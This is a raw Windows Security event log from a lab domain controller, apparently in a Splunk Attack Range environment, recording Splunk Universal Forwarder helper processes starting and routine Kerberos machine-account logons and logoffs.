-SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x960 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257391 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F485F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:29:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257390 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4F485F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50885 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:29:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F485F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:29:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257392 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x85c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257394 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257393 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257395 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x478 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257398 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:29:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257401 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F7DED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:30:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257400 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4F7DED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50898 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:30:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257399 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F7DED - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:30:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257402 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257403 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257404 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257405 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257406 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:30:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257407 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257411 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FB34F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:31:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257410 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4FB34F - Linked Logon ID: 0x0 - Network Account Name: - 